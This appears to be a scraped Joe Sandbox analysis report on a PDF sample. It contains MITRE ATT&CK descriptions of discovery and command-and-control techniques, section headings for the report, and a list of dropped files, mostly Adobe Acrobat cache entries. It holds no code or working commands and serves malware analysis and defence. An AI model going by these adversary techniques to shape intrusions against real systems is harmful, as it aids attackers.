Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 217469812STM.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c05d7bec-edc8-4274-98ef-cc702be1fd0e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241119171909Z-171.bmp

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6716

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6716

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
217469812STM.pdf